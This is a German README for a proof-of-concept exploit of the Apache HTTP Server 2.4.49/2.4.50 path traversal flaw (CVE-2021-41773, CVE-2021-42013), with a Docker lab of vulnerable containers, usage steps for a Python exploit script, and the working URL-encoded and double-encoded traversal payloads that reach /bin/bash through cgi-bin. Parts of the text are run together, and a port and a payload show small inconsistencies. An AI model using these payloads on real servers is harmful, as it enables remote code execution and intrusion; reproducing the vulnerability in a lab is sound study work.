
Proof-of-concept-Exploit für die Path-Traversal-Schwachstelle in Apache HTTP Server 2.4.49/2.4.50 (CVE-2021-41773), die Remote Code Execution über CGI-Skripte ermöglicht. Enthält eine Docker-basierte Reproduktionsumgebung und ein Python-Exploit-Skript.
Es wurde ein Fehler in einer Änderung der Pfadnormalisierung in Apache HTTP Server 2.4.49 gefunden. Ein Angreifer könnte einen Path-Traversal-Angriff verwenden, um URLs Dateien außerhalb der durch Alias-ähnliche Direktiven konfigurierten Verzeichnisse zuzuordnen. Wenn Dateien außerhalb dieser Verzeichnisse nicht durch die Standardkonfiguration "require all denied" geschützt sind, können diese Anfragen erfolgreich sein. Wenn CGI-Skripte auch für diese Alias-Pfade aktiviert sind, könnte dies eine Remote-Code-Ausführung ermöglichen. Es ist bekannt, dass dieses Problem in freier Wildbahn ausgenutzt wird. Dieses Problem betrifft nur Apache 2.4.49 und nicht frühere Versionen. Der Fix in Apache HTTP Server 2.4.50 war unvollständig, siehe CVE-2021-42013.
pip3 install colorama)perl CGI-Skript, das im Container läuftStarten Sie einen verwundbaren Apache httpd (mit Standardkonfiguration) als Docker/Podman-Container.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Listen Port |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 Wählen Sie Angriff auf Version 2.4.49
1.3 python3 main.py localhost:2450
1.4 Wählen Sie Angriff auf Version 2.4.50
Der Exploit nutzt das CGI-Modul von Apache httpd, um die Ausführung beliebiger ausführbarer Dateien durch Path Traversal zu ermöglichen.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ ist URL-kodiert und entspricht ../, wenn dekodiert.
.%%32%658 ist doppelt URL-kodiert und entspricht ebenfalls ../, wenn dekodiert.